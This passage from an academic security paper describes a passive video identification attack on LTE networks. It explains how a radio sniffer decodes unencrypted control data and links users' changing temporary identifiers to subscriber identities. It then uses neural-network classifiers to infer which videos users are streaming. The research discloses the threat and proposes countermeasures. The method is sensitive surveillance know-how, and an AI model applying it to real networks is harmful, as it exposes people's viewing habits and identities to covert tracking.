size that this high level of accuracy stems from overcoming
the unique challenges related to the operational logic of LTE
networks and video streaming systems. Finally, we present
an end-to-end attack scenario leveraging the presented video
identification attack and propose countermeasures that are
readily applicable to current LTE networks.

1 Introduction
An increasing number of users leverage cellular networks to
watch videos on their mobile devices [18, 42]. Following this
trend, an individual’s video viewing history becomes private
information that reveals their political, financial, and personal
interests. Thus, an attacker’s ability to identify videos that an
individual watches poses a serious privacy threat.

Unfortunately, recent studies [20, 21, 34, 38, 43, 44] have
shown that an adversary can identify videos by analyzing
encrypted traffic, referred to as a video identification attack.
The attack exploits the fact that an encrypted video stream has
its own identifiable fingerprint owing to the operating logic of
HTTP adaptive streaming (HAS), the leading video streaming
protocol. In HAS, a video is segmented into smaller chunks,
whose sizes vary according to content. Thus, a series of such
chunks forms a unique pattern.

Most studies on video identification attacks have tar-
geted wired networks [20, 21, 38, 43, 44]. They assumed a
strong attack model; the adversary is required to have ei-
ther 1) direct access to a victim’s network infrastructure (e.g.,

wired/wireless routers) or 2) an ability to run malicious apps
or websites on a victim’s device. These attacks thus require a
strong privilege to monitor network traffic, which reduces the
likelihood of the attack’s success in practice.

By contrast, radio signals in wireless networks are transmit-
ted over the air, which an adversary equipped with a software-
defined radio (SDR) is able to monitor. If this adversary is
able to extract effective features from these signals that con-
tribute to identifying streamed videos, they become a strong
adversary who can carry out a video identification attack
without any privilege. Nevertheless, only a few studies have
investigated the feasibility of conducting an attack in wireless
networks [34].

In this paper, we present the first study of a video iden-
tification attack in LTE networks. We investigate whether,
for a given cell, an adversary can 1) pinpoint users who are
watching target videos of the adversary’s interest and then 2)
identify the exact title of the video that each user is watching.
Here, we assume an unprivileged adversary equipped with an
SDR, who has no access to victims’ devices or cell towers but
can sniff broadcast signals transmitted from a particular cell
tower. This scenario can be exploited, for example, to track
down users watching illegal or sensitive videos.

Conducting a successful video identification attack requires
addressing three technical challenges that arise from the dis-
tinct characteristics of LTE networks (§3). (1) The adversary
has a limited monitoring capability, which makes it challeng-
ing to determine the observed traffic type (e.g., whether the
video traffic is from YouTube or Netflix) and build precise
video fingerprints. (2) It is non-trivial to collect a specific
victim’s traffic over time because the identifier, which binds
traffic to the victim, often changes during video playback due
to the interworking between HAS and the operational logic
of LTE networks. (3) Lastly, the adversary needs to aggregate
video traffic from multiple channels due to carrier aggrega-
tion (CA) logic [2, 4], which most LTE network operators
employ to maximize network bandwidth.

To tackle these challenges, we propose a video identifi-
cation attack that takes advantage of the following contribu-
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tions (§4). (1) We identify distinctive characteristics of video
streaming traffic and video service providers. These char-
acteristics enable us to identify a video title and its service
provider using convolutional neural network (CNN) and deci-
sion tree classifiers, respectively. (2) We propose to harness
unencrypted information transmitted solely to a victim over
the air to link the victim’s changing identifiers, thus capturing
the full traffic volume to each victim. (3) Instead of monitor-
ing all channels for CA, we propose a heuristic method that
estimates the volume of video traffic by monitoring only a
single channel.

To evaluate the feasibility of the attack, we collected 46,810
LTE traffic traces (§5) for three major video streaming ser-
vices (i.e., YouTube, Netflix, and Amazon) from three opera-
tional mobile network operators (MNOs); this accounts for
2,035 hours of video involving 1.79 TB of video traffic. Using
this dataset, we conducted a series of experiments considering
multiple factors: service providers and video quality, MNOs
and device types, changing identifiers, CA, network environ-
ments, class sizes, and unseen traffic. The experimental results
demonstrate a high accuracy of 0.87, 0.95, and 0.98 for the
Netflix, Amazon, and YouTube datasets, respectively.

In addition, we demonstrate an end-to-end attack scenario
that selectively locates individuals who watch one of the at-
tacker’s target videos (§6). Assuming the adversary who is
physically adjacent to victims, the attack is able to enforce the
victims’ devices to sound a loud alarm, possibly revealing the
presence of victims who are watching one of the target videos.
The attack targets only the victims’ devices without affecting
other user devices connected to a legitimate base station. To
achieve this, we extended a signal injection attack [55] and
chained it with our video identification attack.

We conclude by proposing countermeasures that are read-
ily applicable to current LTE networks (§7). In particular, we
propose a method that breaks the link between user identi-
fiers and traffic information without requiring any changes to
devices or the 3GPP specification.

In summary, our contributions are as follows:

• We present the first study of a video identification attack in
LTE networks and concretize the challenges to realize it.

• We develop (a) a new technique of inferring CA-enabled
downstream traffic volumes and (b) formulate new fea-
tures to classify video streaming service providers. We also
present a way to combine these techniques with existing
ones to launch a successful video identification attack.

• We demonstrate that the proposed attack is a practical threat
by showing a high accuracy of 0.985 using 46,810 LTE
traces for three video streaming services from three MNOs.

• We suggest practical mitigations for the presented video
identification attack.

• To encourage further research, we release our dataset and
scripts for data collection, identification, and defense [1].
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Figure 1: LTE network architecture and protocol stack

2 Background

2.1 Data Transmission in LTE
An LTE network consists of three main components: user
equipments (UEs), evolved Node B (eNB), and evolved packet
core (EPC). A UE is a device (e.g., a smartphone) that pro-
vides cellular services to end-users. An eNB is a base station
which provides a radio connection to UEs. An EPC refers to
a core network that provides data services while managing
user registration and mobility (Fig. 1).

Delivering video data from a video service provider to
a UE entails the following steps. The gateways in an EPC
first receive video packets from a streaming service provider.
Then, they flood the video packets to the eNB, to which the
UE is connected. The eNB encapsulates the received packets
and transmits them to the UE over radio channels.
Identities. For proper data delivery to the designated UE, mul-
tiple identifiers are assigned to the UE. The eNB, to which the
UE is connected, assigns the UE a Radio Network Temporary
Identifier (RNTI), and the EPC assigns the UE a Temporary
Mobile Subscriber Identity (TMSI). Using these identifiers en-
ables the EPC and eNB to deliver data to the correct recipient
as well as to manage per-user cryptographic keys for secure
data transmission. An RNTI is a temporary yet unique identi-
fier that the eNB assigns to the connected UE; the eNB thus
differentiates the user from other connected UEs. It is only
valid when the UE is connected to the serving eNB. Likewise,
a TMSI is a unique identifier managed by the EPC; it is newly
assigned when the UE is registered in the LTE network.
Radio Access Network (RAN). A RAN refers to a network
between the UE and the connected eNB across which control
messages and user data traffic are transmitted. They are deliv-
ered via an LTE protocol stack (Fig. 1). Control messages and
user data traffic are encapsulated at an eNB through multiple
layers. They are encrypted at the Packet Data Convergence
Protocol (PDCP) layer, segmented at the Radio Link Control
(RLC) layer, scheduled at the Medium Access Control (MAC)
layer, and then delivered through the physical layer (PHY).

The Radio Resource Control (RRC) protocol defines how to
generate control messages that manage all radio connections.
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For example, when the UE requests a new connection to an
eNB, the eNB responds with an RRC Connection Setup message
to deliver wireless configuration information. When there is
no traffic between the eNB and UE for a specified period,
the eNB sends an RRC Connection Release message to remove
the connection and save network resources as well as the
UE’s battery. When they need to communicate thereafter, the
connection is established again.
Data acquisition. A fundamental feature of radio communi-
cation is that signals are broadcast to devices over a range of
radio frequencies, called a channel. This channel becomes an
information source from which each UE selectively retrieves
its own data from broadcast signals. The physical layer in-
structs the UEs how to retrieve control information from a
Physical Downlink Control Channel (PDCCH) and user data
from a Physical Downlink Shared Channel (PDSCH).

Note that the PDCCH delivers multiple pieces of Downlink
Control Information (DCI; plural DCIs) [5]. A DCI includes
1) assigned resource blocks in radio frames, which indicate the
frequency and timing with which the UE should retrieve data,
2) a modulation coding scheme for decoding the assigned
blocks, and 3) CRC bits masked with an RNTI. DCIs are
transmitted on every LTE subframe (i.e., 1 ms). A PDCCH is
an unencrypted channel in which the DCIs of all LTE users
on the same carrier frequency are exposed to the public. Thus,
a single UE is able to decode every DCI on the same PDCCH.
Security and privacy in data transmission. Given that any
UEs that share the same eNB can retrieve other users’ data
from the PDSCH, it is essential to provide secrecy and in-
tegrity protection that enables only legitimate users to access
their own data. LTE networks achieve this by encrypting and
checking the integrity of data at the PDCP layer. However, the
headers of all protocol layers underneath the IP layer, includ-
ing the PDCP layer, are not encrypted. Hence, anyone can still
see header contents, which we exploited in approximating the
volume of video streaming traffic.

Previous studies have addressed privacy threats in cellular
networks that allow the adversary to track user identities and
locations [22, 26, 45]. In this regard, an RNTI plays a role in
mitigating the privacy threats, as it is a temporary identifier
arbitrarily assigned to each radio connection. Because an eNB
assigns multiple RNTIs to the same user over time, it becomes
difficult for the adversary to track a particular user only based
on a given RNTI without supplementary information.
Carrier aggregation (CA). In LTE Release 10, 3GPP intro-
duced the CA technology [2], which simultaneously lever-
ages multiple carrier frequencies for data transmission. It is
designed to provide more bandwidth per user by assigning
multiple frequency bands to the same user. An eNB often
consists of multiple cells, each of which covers transmitting
radio signals within a specified frequency band. The primary
cell (PCell) is the first cell to which a UE connects to establish
a connection and exchange control messages. In the eNB that
the UE uses, all the remaining cells become secondary cells

(SCells). The basis of CA technology is to use the PCell first
for data transmission and later to leverage the SCells when
a large amount of data needs to be delivered. CA execution
is managed at the MAC layer; packets from the upper layers
are multiplexed and delivered over frames of the PCell and
SCells.

2.2 Video Identification Attack
The goal of an attacker is to precisely infer the video playing
on a victim’s device. In general, the attack targets encrypted
network traffic sent to a victim’s device [20,21,34,38,43,44].
To identify a video from the encrypted traffic, the adversary
mainly exploits information leakage stemming from the oper-
ational logic of HAS, which is the dominant streaming pro-
tocol used by popular streaming services. HAS segments a
video into smaller chunks that share an identical playback
time. Each chunk has a different size according to its content
owing to variable bitrate (VBR) encoding. Thus, a series of
such chunks can represent a unique pattern. Furthermore, the
HAS client fetches multiple video chunks periodically with
pausing, which produces so-called ON and OFF periods. By
grouping a series of chunks using these periods, the adversary
can build a concise video fingerprint for each target video.

In general, the attack consists of the following four steps:
(S1) Recording: The adversary chooses target videos for
identification, generates network traffic for those videos by
repeatedly playing the videos, and then extracts distinctive
features from the observed traffic. Prior studies [20, 21, 38,
44] have leveraged the number, volume, or arrival interval of
downlink and uplink packets as possible identifiable features.
(S2) Building a classifier: The adversary builds a classifier
that identifies a video based on a given set of features. To im-
plement and train this classifier, prior research has employed
CNN [44], support vector machine (SVM) [20], and k-nearest
neighbors using dynamic time warping (DTW) [21].
(S3) Monitoring: The adversary collects network traffic sent
to a victim. To monitor the traffic, previous studies on wired
networks assumed that an adversary can access the victim’s
device (to run their own app/website) [44] or network infras-
tructures that the victim uses [20, 21, 38, 43, 44]. In contrast,
an adversary on wireless networks is free from these assump-
tions as the adversary can utilize information broadcast over
the air [34].
(S4) Identification: Finally, the adversary queries the trained
classifier to identify a video title given the victim’s network
traffic that the adversary monitored.

3 Threat Model and Challenges
Attacker’s goal. We assume an adversary who selects a target
cell and set of target videos. The adversary’s goal is to recog-
nize the identifiers (i.e., TMSI and RNTIs) of UEs in this cell
that have watched any of the target videos. Furthermore, for
each identified UE, the adversary attempts to identify a video
title that the UE has watched.
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Table 1: Summary of the technical challenges that our study addressed compared to previous studies. (©: addressed)

Challenge
Video Video App/Website Video

Our Approachon wired on Wi-Fi on LTE on LTE
[20, 21, 38, 44] [34, 43] [13, 29, 41, 49] (Ours)

C1 - Monitoring traffic without privileged access × 4† © © Utilize broadcast information (§4.2) [13, 29, 41]
C1 - Handling noisy observed traffic × × © © Leverage CNN (§4.4) [44]
C1 - Distinguishing streaming service provider × × ×‡ © Formulate new features with a decision tree (§4.4)

C2 - Frequent changes of user identifiers × × ×∗ © Exploit the identity mapping attack (§4.2) [41]

C3 - Multi-channel data transmission × × × © Estimate traffic volumes in SCell (§4.3)
† The authors partially addressed this challenge; they monitored victim’s traffic in a wireless router. We thus mark this4.
‡ The authors distinguished app types, such as web surfing or teleconferencing; this is different from distinguishing streaming service providers.
∗ The authors partially introduced this challenge; their attacks do not require to address it owing to their short period of attack time. We thus mark this ×.

Attacker’s capabilities. An adversary in our attack model
does not require direct access to victims’ UEs or the eNB.
Furthermore, the adversary does not have any information
about victims, including their usage (e.g., traffic type, or ser-
vice provider of a streaming video) and cryptographic keys
for secure data transmission. Therefore, the adversary cannot
decrypt any user data embodied in PDCP packets.

Meanwhile, the adversary can choose any target eNB and
conduct the attack on any users attached to it. Within the radio
coverage of the target eNB,1 the adversary can eavesdrop
on radio signals transmitted over the air and sniff downlink
messages by leveraging an SDR [50] and publicly available
software [12, 15]. By parsing the downlink messages, the
adversary can obtain MAC packets, DCIs, and unencrypted
PDCP header information for the attack.
Implication. The adversary determining whether specific
videos are streamed solely by observing encrypted video
traces has been considered a privacy threat [20, 21, 38, 44].

In particular, we argue that a video identification attack in
cellular networks poses a critical privacy threat; the adversary
with no privilege could affect the whole coverage area of a
cell tower (1–5 km) [39], compared to the attacks in Wi-Fi
networks [34] that target small areas (≤ 100 m).

The attack can be exploited to track down users who watch
illegal or sensitive videos in a target cell. Consider a scenario
in which a law enforcement agency in an oppressive regime
executes the attack. The agency (i.e., adversary) builds a black-
list of videos featuring anti-government content. By conduct-
ing the attack, the adversary obtains the identifiers (i.e., TMSI
and RNTIs) of users who have watched prohibited videos.
These identifiers are then linked to a personal identity with
the help of an ISP or by further conducting identifier linking
attacks [22, 25, 45]. Accordingly, the adversary can pinpoint
users who have watched videos on the blacklist. Even worse,
when the agency is able to reveal the locations of these users,
the problem becomes critical, which we describe in §6.

Despite its severity, to the best of our knowledge, the video
identification attack in cellular networks has not been stud-
ied yet. We believe that this stems from the difficulties in
addressing the distinct challenges described below.

1A location that exhibits a high signal-to-noise ratio (over 23dB) for the
eNB guarantees successful signal decoding.

3.1 Practical Challenges
Video identification attacks on LTE networks need to address
the following three technical challenges: (C1) limited mon-
itoring capability, (C2) frequent changes of user identifiers,
and (C3) multi-channel data transmission. Note that C1 and
C2 have been considered partially in different attack scenar-
ios [13, 29, 41, 49]. However, none have investigated these
challenges for the video identification attack, which demand
additional considerations. Furthermore, the video identifica-
tion attack in LTE networks introduces another unique chal-
lenge of C3 due to CA. Tab. 1 summarizes the challenges
addressed in previous studies and our study.
C1: Limited monitoring capability. The adversary cannot
decrypt encrypted user traffic delivered over the PDSCH.
Therefore, the adversary needs to utilize only public infor-
mation. By mimicking the data acquisition procedure of the
victim’s UE (§2.1), which decodes DCIs embodied in broad-
cast signals, the adversary can obtain a time series of packet
volumes [13, 29, 41, 49]. They then use this information as a
pattern for each video.

However, the size information extracted from DCIs is not
consistent even when the same video is streamed, which im-
pedes accurate video identification. The computed packet vol-
umes often account for traffic other than video content, such
as (1) retransmitted packets at the RAN layers including RLC
and PDCP, depending on the network condition; (2) LTE con-
trol plane messages; and (3) packets from other apps running
on the victim’s UE. Moreover, occasional decoding failures
of the downlink sniffer (e.g., AirScope [12] or OWL [15])
contributes to obscuring the actual size of streamed chunks.

In our dataset (i.e., YouTube100 in §5.1), we measured the
discrepancy between the estimated and actual volumes of
streamed video chunks. We compared the estimated video size
by decoding DCIs with the actual size of the streamed chunks
at the IP layer. Depending on videos and LTE traces, the
difference between the estimated and actual volumes ranged
from -1.1 to 9.6% with an average of 7%. Therefore, the
adversary has to build a robust classifier to handle inconsistent
volumes for accurate video identification.

Furthermore, for accurate identification, the adversary
should consider an underlying video service provider, which
is a dominant factor in varying streaming traffic patterns. We
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observed that service providers affect the estimation of a
traffic volume in a CA-enabled environment (§4.3). As the
TCP/IP layer is encrypted, the adversary cannot utilize known
IP addresses to identify the service providers.
C2: Frequent changes of user identifiers. DCIs are pub-
lic information, which we use to build a fingerprint for each
video. As users retrieve their own DCIs with their own RN-
TIs (§2.1), an adversary can follow the same step to collect
DCIs for each user. The challenge here lies in the operat-
ing logic of HAS video streaming, which triggers frequent
changes of these RNTIs. HAS is designed to enter a paused
period, called the OFF period, after a UE fetches each video
chunk(s) (§2.2). At the same time, the UE is supposed to
release its connection to an eNB when there is no traffic for a
certain period to save resources. Consequently, when watch-
ing a HAS video, the UE releases its connection during the
OFF period. When the UE fetches the next video chunks, it
reestablishes the connection to the eNB and is then assigned
a new RNTI. As watching a HAS video produces multiple
ON-OFF periods, the adversary must track various RNTIs for
each user to collect a non-fragmented series of user’s DCIs.

RNTIs may change differently in practice depending on
the configuration of streaming service providers and MNOs.
We investigated three major streaming services (i.e., YouTube,
Netflix, and Amazon) and three major MNOs. We observed
that the OFF period of Netflix’s HAS service is configured to
be about 40 s while the OFF periods of YouTube and Amazon
are about 5 s and 4 s, respectively. Meanwhile, in all MNOs,
we found that their eNBs disconnect UEs when they have no
traffic for 10 s. Thus, when a UE watches a Netflix video, its
RNTI changes at least once every 40 s in all MNOs.

Fig. 2 shows the time series of received traffic volume
and the changing RNTIs when a client plays a Netflix video.
We played Sherlock (Season 1, EP. 1) on a Galaxy S6 Edge
smartphone. During the 300 s playback, the client repeat-
edly released its radio connection during the OFF period and
reestablished the connection six times. For each reconnection,
a new RNTI was assigned to the device. To conduct video
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Figure 4: Overview of our video identification attack

identification for any streaming services with an OFF period
of over 10 s, the adversary should address this challenge.
C3: Multi-channel data transmission. An eNB activates
CA to deliver a large volume of data over multiple channels,
thus boosting the transmission bandwidth (§2.1). Given that
a typical video stream comprises of several chunks having
a large volume, the eNB to which a victim’s UE connects
is highly likely to activate CA when transmitting video con-
tent in practice. This means that the adversary needs to take
into account the sniffing of CA-activated traffic over multiple
channels simultaneously.

To examine the impact of CA on data transmission, we
captured cellular traffic while playing the song Despacito
on YouTube on a Galaxy S6 Edge using 2-band CA. Fig. 3
shows traffic traces that represent the size of transmitted data
over time. In the figure, the black and red bars represent data
traffic flooded through the PCell and SCell, respectively. The
amount of data from the SCell comprises approximately 14%
of the total received data. For the specific time window of
between 4 and 4.5 s, the amount of SCell data accounts for
42% of all data. Therefore, for a precise video fingerprint, the
adversary should consider both the PCell and SCell.

4 Video Identification Attack
4.1 Attack Overview
We present a video identification attack in LTE networks ad-
dressing the practical challenges (§3.1). Fig. 4 illustrates the
overall attack procedure: 1) the attacker selects target videos
and computes their fingerprints; 2) the attacker prepares the
attack by building a classifier that identifies the target videos;
3) the attacker then performs the attack on a target cell, com-
puting a tuple (a TMSI, the chain of RNTIs assigned to the
TMSI, and a video title) for each UE in the target cell.

The adversary starts by playing target videos repeatedly
on their own UE and obtains a time series of transmitted
data volumes by decoding DCIs. In this step, they retrieve
their own RNTIs from diagnostic monitoring tools [23, 54]
connected to their UE and disable CA by configuring their UE
to use only one band; thus, they are free from C2 and C3. Next,
the adversary builds their classifier that takes the collected
traces as input. As the traces from the same video differ, the
adversary should build a robust classifier against inconsistent
input traces (C1). To address this, we adopt a CNN classifier,
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which is known to be robust against unsteady input patterns
with noise [30, 44] (§4.4). For accurate identification, we set
up a decision tree classifier that infers a video service provider
of which HAS operational logic differs by vendors. We use
this classifier to choose one among the CNN classifiers, each
of which is trained for a video service provider.

Subsequently, the adversary executes the attack on a target
eNB by monitoring the radio traffic of all UEs connected to
the eNB using a downlink sniffer [12]. To obtain complete
traces for each UE, the adversary tracks their frequently chang-
ing RNTIs (C2) and estimates the volume of missing packets
due to CA (C3). To address C2, we fully utilize broadcast
information delivered over the PDCCH and PDSCH (§4.2).
For C3, we propose two approaches: one that exploits unen-
crypted header information and another that exploits a vul-
nerable RAN design (§4.3). The adversary then feeds the
collected traces to the pre-trained classifiers and infers the
video titles.

4.2 Utilizing Broadcast Information
The benefits of leveraging broadcast radio signals are twofold;
the adversary can (1) extract traffic patterns from DCIs and
(2) track the frequently changing RNTIs.
Extracting traffic patterns. The adversary listens to the PD-
CCH of the target eNB to which victim UEs are connected.
They retrieve DCIs within an LTE subframe (i.e., 1ms) and
compute the volume of transmitted data for each DCI by
mimicking the data acquisition procedure of the victim UEs.
Specifically, the adversary decodes DCIs using the coding rate
of the specified modulation coding scheme and the number of
assigned resource blocks. By undertaking this over time, they
obtain a time series of packet volumes over multiple DCIs.
Finally, for each non-overlapping time window of 0.2 s, the
adversary aggregates the computed volumes and generates a
vector that encodes the downlink traffic pattern for each UE.

Although the use of DCIs has been proposed in previous
studies [13,29,41,49], none of them have explored its applica-
tion to the video identification domain. It should be noted that
leveraging DCIs alone is insufficient for accurate video identi-
fication, which necessitates tracking the frequently changing
RNTIs of UEs and addressing CA.
Identifier tracking. We propose linking the frequently chang-
ing RNTIs of each victim UE to its unified identifier, TMSI,
using an identity mapping attack [41]. The identity mapping
attack exploits the radio connection procedure of the LTE.
According to the LTE specification [7], to establish a new
radio connection to an eNB, a UE first sends a random access
request to the eNB and receives a response that contains a
temporal RNTI (T-CRNTI). Using this T-CRNTI, the UE then
decodes the RRCConnectionSetup message broadcast over the
PDSCH in plaintext; this message embodies the UE’s TMSI.

The adversary mimics this procedure to track the RN-
TIs of each victim UE with its TMSI. They monitor all the
responses from the eNB and collects all T-CRNTIs. With
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Figure 5: Example of estimating lost traffic volume in CA

each collected T-CRNTI, the adversary decodes the sniffed
RRCConnectionSetup message and obtains the embodied TMSI.
They then match the TMSI to the RNTI used to decode the
message. After this procedure, the adversary obtains multiple
pairs of a TMSI and an RNTI. As TMSIs rarely change,2 the
adversary can map multiple RNTIs to their corresponding
TMSIs, consequently obtaining a tuple (a TMSI, the chain of
RNTIs for the TMSI). Using this information, they keep track
of each UE’s traffic.

4.3 Addressing Carrier Aggregation
CA is often activated when an eNB transmits a large number
of video chunks to a UE. This tendency necessitates that the
adversary captures traffic delivered over multiple channels.
For this, we propose two approaches: 1) adopting multiple
downlink sniffers and 2) estimating the volume of missing
traffic with one downlink sniffer.
Adopting multiple sniffers. One straightforward solution is
to deploy multiple downlink sniffers at each channel of the
PCell and SCells. To measure traffic volume over the SCells,
the adversary must know (1) the RNTI used for communica-
tion between a victim’s UE and each target SCell and (2) the
activated SCells for video streaming.

We propose leveraging the limitations of the standard CA
design and the current status of SCell deployment by MNOs.
(1) By design, the operational logic of CA uses the same
RNTI for both the PCell and SCells. Therefore, the adversary
can identify a victim’s traffic in the SCells by leveraging the
same RNTI in the PCell. (2) MNOs do not select random
SCells for CA activation. Usually, an MNO is assigned with a
limited number of available frequency bands. The information
regarding active frequency bands and CA configurations for
major MNOs is pre-defined [19] and open to the public [16].

Although this simple solution is promising, it has a limi-
tation. The proposed solution demands multiple SDRs, one
SDR for each activated SCell, thus increasing its deployment
cost. Considering that the 3GPP standard supports 31 SCells
and 5G uses more SCells, this simple solution is not scalable
for conducting the proposed attack in practice.
Estimating traffic volume. We propose a novel method that
enables the adversary to estimate the traffic volume delivered
by the PCell and SCells simultaneously with only one SDR
device. The method mainly exploits (1) sequence numbers in
PDCP packet headers, which are not encrypted during data

2A TMSI rarely changes, even when a radio connection is reestablished
after a UE reboots [45].
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transmission, and (2) the fixed size of video streaming packets.
Fig. 5 illustrates an example of estimating a missing volume

of traffic. The adversary starts by monitoring a series of PDCP
sequence numbers from the PCell. By decoding transmitted
data over the PDSCH, the adversary can obtain packets at
the MAC layer and extract PDCP packets along with their
headers. When there is a missing sequence number obtained
from the PCell, the adversary knows that those packets are
delivered over one of the SCells. In general, we count each
gap between two discontinuous PDCP sequences and sum
those gaps to compute the total number of missing packets.

Now, the adversary estimates the missing traffic volume
delivered over SCells under the following two assumptions,
which we empirically confirmed via manual traffic analysis.

(1) Each missing PDCP packet is fully packed with video
data, and its packet size is fixed according to the maximum
transmission unit (MTU) configured by a streaming service
provider or an MNO. For Netflix and Amazon, we observed
that the size of PDCP packets was fixed at an MTU varying
by MNO, which is 1,440, 1,450, and 1,430 bytes for MNOs
A, B, and C, respectively. On the other hand, for YouTube,
the PDCP packet size was fixed at 1,380 bytes across all three
MNOs. This is mainly due to QUIC [32], which is a transport
layer protocol employed by YouTube for streaming. QUIC
has an MTU of 1,350 bytes, which is smaller than the MTU
configured by the MNOs. Thus, the size of PDCP packets
in YouTube streaming is fixed at 1,380 bytes, including the
30-byte header.

(2) A PDCP sequence number is a 12-bit number that all
three major MNOs use. As the MNOs adopt a fixed size and
wrap-around logic for PDCP sequence numbers, the adversary
can count the missing PDCP packets in the case that the PDCP
sequence number has a lower value than that of the previous
PDCP packet. Finally, the adversary calculates the lost traffic
volume by multiplying the number of missing PDCP packets
by the MTU size of the QUIC protocol. Note that in the case
of a video service that does not use QUIC, the adversary
calculates the size of missing packets by using the PDCP
MTU of a target MNO.

One may argue that the proposed estimation method is un-
necessary when an MNO employs a cross-carrier scheduling
policy. In this policy, DCIs from the PCell contain the re-
source allocation information for each SCell, thus rendering
obsolete the need for estimating the traffic volume over the
SCells. However, according to our investigation into three
major MNOs, none currently deploys this policy, making the
estimation step essential for accurate identification.

This estimation process can be affected by two configura-
tions: 1) the length of the PDCP sequence number, and 2) the
adoption of robust header compression (ROHC) [8, 40]. For
the former, the length of the PDCP sequence number varies
over MNOs and data radio bearers. However, the adversary
can easily obtain this length with their own UE before launch-
ing the attack by monitoring RRC Connection Reconfiguration
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Figure 6: The structure of the used CNN model

messages. In practice, we observed that all MNOs use 12 bits
for this length. For the latter, ROHC might affect the packet
size due to its header compression on the IP/UDP layer. How-
ever, we observed that three MNOs use ROHC only on voice
calls, not on video streaming.

4.4 Building a Classifier
The proposed attack involves two classifiers: one for identify-
ing the video service provider, and the other for identifying
the video title. The adversary prepares a video title classifier
for each service provider, and the service provider classifier
determines a video title classifier for a given set of traffic
features.
Video service provider classifier. The first classifier is
designed to identify the video service provider to which
given traffic features belong. This classifier plays an im-
portant role in handing CA to derive accurate traffic vol-
umes (§4.3). We leverage a decision tree with nine features
extracted empirically from the traffic analysis: the number of
chunks, the duration of the first ON/OFF period, and the aver-
age/maximum/minimum duration of ON/OFF periods. These
nine features are directly related to the HAS configuration of
each video service provider.

We observed that this HAS configuration highly affected
the shape of video traffic (See App. C): 1) an initial playback
buffer size affects the duration of the first ON/OFF period;
2) the duration of each chunk affects the OFF period dura-
tion; and 3) the logic of fetching video chunks affects the
ON period duration. These features are different from the
features of previous approaches on fingerprinting application
types [13,49] (e.g., web surfing or teleconferencing). Our fea-
tures are agnostic to traffic volumes and designed to capture
the differences in the shape of video traffic caused by HAS
configuration.
Video title classifier. We leverage a 1D-CNN 1) to capture
traffic-level commonalities in video streaming for a given
video title, even in the presence of traffic variations, and 2) to
use raw traffic metadata for the input of the classifier. CNNs
are effective for learning the commonalities of a given time
series data via a convolution filter, which ensures that the
generated model is robust to noise [30, 44].

Fig. 6 shows the structure of our CNN model. The model
consists of three convolution layers, each of which accom-
panies a maxpool and dropout layer, and two dense layers.
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Table 2: Dataset summary (a total of 46,810 traces for 2,035 h)

Dataset # of # of Trace Description UsageVideos Traces Length (s)

YouTube100 100 29,715 120 YouTube Top 100 All
Netflix 22 1,001 800 Netflix Top 50 §5.2, §5.5

NetflixDT 31 298 800 Netflix (Random) §5.2, §5.5
Amazon 32 1,210 120 Prime Video (Random) §5.2
AmazonDT 36 310 120 Prime Video (Random) §5.2, §5.5
YouTubeCA 100 7,383 120 YouTube Top 100 (CA) §5.3
YouTube200 200 6,424 120 YouTube Top 101-300 §5.5

Web - 268 120 Alexa Top 50 §5.5
Teleconf - 201 120 Google Meet §5.5

As an input to the model, we feed in a vector representation
of the time series of estimated traffic volumes, obtained dur-
ing the traffic monitoring (§4.2). Each of the vector elements
represents an aggregated traffic volume for 0.2 s (i.e., 200
LTE subframes). We empirically set each convolutional layer
to use 150 filters, a ReLU activation function, and a kernel
covering 20 vector elements (i.e., 4 s of aggregated traffic
volumes), considering the size-variation tendency of video
chunks. We set the dropout rate and pool size to 0.4 and 3,
respectively (Fig. 6). The two dense layers successively out-
put 500 units and the number of video titles. For the other
hyper-parameters, we used the default values of Keras [17].

5 Evaluation
We demonstrate our video identification attack in LTE net-
works from three major MNOs. We describe our dataset and
experimental setup (§5.1) and present the attack performance
in identifying a victim’s video in a known set (§5.2), called
a closed-world setup. We then evaluate the impact of han-
dling CA for accurate identification (§5.3). We investigate
the impact of network congestion by comparing the efficacy
of our model with that of other classifiers (§5.4). We further
evaluate our methodology with unseen videos as well as vari-
ous mobile apps in an open-world setup (§5.5). In summary,
we evaluate the degree to which our attack is affected by the
following factors: (1) service provider and video quality, (2)
MNO and device, (3) changing RNTIs, (4) CA, (5) network
environment, (6) class sizes, and (7) unseen traffic.

5.1 Experimental Setup
Dataset. We constructed the dataset by sniffing LTE signals
from three major MNOs with commercial UEs, as listed
in Tab. 2. We collected a total of 46,810 data traces from
YouTube, Amazon, and Netflix including different experi-
mental settings. We also collected 469 additional traces for
websites and teleconferences to show the robustness of the
attack. The total dataset accounts for 2,035 hours of stream-
ing time and 1.79 TB of video traffic. We describe the details
of each dataset in their usage along with our experimental
results.
Data collection procedure. For collecting data, we con-
ducted the following three steps. (1) We set the UEs to connect
to a commercial LTE network operated by one of the three
MNOs. (2) We then launched a downlink sniffer, which listens

Table 3: Evaluation results on the YouTube100 dataset.

MNO
Video # of Acc. F1 AUC MNO

Video # of Acc. F1 AUCQuality Traces Quality Traces

A 480p 3,184 0.970 0.967 0.997 C 480p 3,262 0.981 0.961 0.996
A 720p 3,196 0.968 0.965 0.998 C 720p 3,218 0.967 0.965 0.997
A 1080p 3,645 0.985 0.986 0.998 C 1080p 3,293 0.957 0.954 0.997

B 480p 3,376 0.928 0.922 0.995 A mixed 10,025 0.977 0.976 0.998
B 720p 3,318 0.973 0.970 0.997 B mixed 9,917 0.958 0.958 0.997
B 1080p 3,223 0.940 0.937 0.996 C mixed 9,773 0.980 0.979 0.998

to the same cell to which the current UE is connected. For this,
we used two types of SDR: USRP B210 [50] and X310 [51],
equipped with the downlink sniffer software, AirScope [12].
AirScope enabled us to get all MAC layer packets, transmit-
ted by the cell, into a PCAP formatted file. (3) Finally, we
recorded the downlink traffic as well as the changing RNTIs
of each UE, enabling us to link fragmented traffic with the
UE’s TMSI (§4.2).
Target videos. We selected the most viewed music videos
on YouTube [1] with lengths under 6 min each. As YouTube
provides multiple streaming quality options, we set our UEs
to play 120 s of each video at three different resolutions: 480p,
720p, and 1080p. We used a premium account for all YouTube
datasets; thus, the video traces did not contain any ads. Note
that this setup is the same as that in previous studies [20, 34,
38, 43, 44]. We further discuss this issue in §8.

We also selected 22 Netflix movies from the best 50 movies
list and 32 random Amazon movies [1]. We then collected the
first 800 s and 120 s of data traces for each video from Netflix
and Amazon, respectively. Since Netflix and Amazon provide
no option for users to select the video quality, we collected
traces with the default option for each video. To examine the
effect of MNO and video quality, we mainly used YouTube
traffic, which is the largest dataset. To collect multiple traces
for each video, we played each video over 27 times. Note that
the number of traces differs because it takes a considerable
amount of time to stream videos in practice. We collected the
datasets at our best using our automated collection tool [1].
